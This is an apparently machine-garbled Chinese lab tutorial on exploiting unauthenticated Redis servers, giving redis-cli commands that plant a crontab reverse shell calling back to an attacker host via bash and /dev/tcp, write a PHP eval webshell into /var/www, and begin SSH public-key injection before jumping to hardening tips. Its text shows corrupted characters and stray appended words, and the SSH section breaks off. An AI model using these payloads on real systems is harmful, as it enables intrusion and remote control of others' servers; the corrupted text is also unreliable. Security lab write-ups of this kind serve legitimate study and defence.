目录php
Redislinux
REmote DIctionary Server(Redis) 是彻底开源免费的,遵照BSD协议,Redis是一个由Salvatore Sanfilippo写的key-value存储系统。。web
Redis 与其余它key - value 缓存产品有如下三个特色:redis
Redis因配置不当可形成未受权访问。攻击者无需经过身份认证即可访问到内部数据,形成敏感信息泄露,也能够恶意执行flushall来清空全部数据。若是Redis以root身份运行,能够给root帐户写入SSH公钥文件,直接经过SSH登陆受害服务器。shell
搭建Redis<linux>数据库
>>>下载centos安装包http://redis.io/downloadc#
root@kali:~/桌面# tar -xvf redis-unstable.tar.gz centos
>>>编译安装缓存
root@kali:~/桌面# cd redis-unstable/
root@kali:~/桌面/redis-unstable# makebash
>>>启动redis服务
root@kali:~/桌面/redis-unstable# cd src/
root@kali:~/桌面/redis-unstable/src# ./redis-server ../redis.conf
redis.conf 是一个默认的配置文件。咱们能够根据须要使用本身的配置文件。
启动redis服务进程后,就可使用测试客户端程序redis-cli和redis服务交互了。 好比:
root@kali:~/桌面/redis-unstable/src# ./redis-cli
>>>修改配置文件,使能够远程访问:
bind 127.0.0.1前面加上#号 protected-mode设为no
启动redis-server
root@kali:~/桌面/redis-unstable/src# ./redis-server
未受权利用/验证
验证未受权访问漏洞
[这部份内容是从新搭建环境测试]---须要搭建redis做为一个攻击机192.168.242.131,受攻击redis服务器192.168.242.134
1.Nmap扫描查看端口开放状况
默认redis使用的6379端口,使用nmap查看端口状况 nmap -A -p 6379 ?script redis-info 192.168.242.134
2.Redis未受权访问验证、获取敏感信息
Nmap扫描后发现主机的6379端口对外开放,就能够用本地Redis远程链接服务器(redis在开放往外网的状况下,默认配置下是空口令,端口为6379)链接后能够获取Redis敏感数据。
这里我使用另外一台安装了redis的centos远程链接测试
>>>./redis-cli -h 192.168.242.134
1)查看敏感信息
redis 192.168.242.134:6379> info
2)查看key和对应的值
>>>keys *
漏洞利用
1.利用crontab反弹shell
>>直接向靶机的Crontab写入任务计划,反弹shell回来
redis 192.168.242.134:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.242.131/888 0>&1\n"
redis 192.168.242.134:6379> config set dir /var/spool/cron/
redis 192.168.242.134:6379> config set dbfilename root
redis 192.168.242.134:6379> save
>>而后在攻击机(192.168.242.131)上启动 nc 监听 888端口,等待反弹shell。这过程须要一些时间。
[root@localhost ~]# nc -lvnp 888
2.写入webshell
当本身的redis权限不高时,能够向web里写入webshell,但须要对方有web服务且有写入权限。假设靶机里面存在WEB服务而且目录在 /var/www/
redis 192.168.242.134:6379>config set dir /var/www/a redis 192.168.242.134:6379>config set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n" redis 192.168.242.134:6379>config set dbfilename webshell.php redis 192.168.242.134:6379>save |
写入以后访问目录看是否存在,若是已经写入,可使用菜刀连入数据库了。
3.写ssh-keygen公钥而后使用私钥登录
>>利用条件:(1)redis对外开放,且是未受权访问状态
(2)redis服务ssh对外开放,能够经过key登入
>>具体利用步骤:
1) 准备好本身的公钥,写入本地文件text.txt。
[root@localhost src]#ssh-keygen -t rsa # 建立秘钥
到redis安装目录下,配置redis.conf文件:
一、默认只对本地开放
bind 127.0.0.1
二、添加登录密码
>>修改 redis.conf 文件,添加
requirepass mypasswd
三、在须要对外开放的时候修改默认端口(端口不重复就能够)
port 2344
四、以低权限运行 Redis 服务(重启redis才能生效)
>>为 Redis 服务建立单独的用户和家目录,而且配置禁止登录
五、最后还能够配合iptables限制开放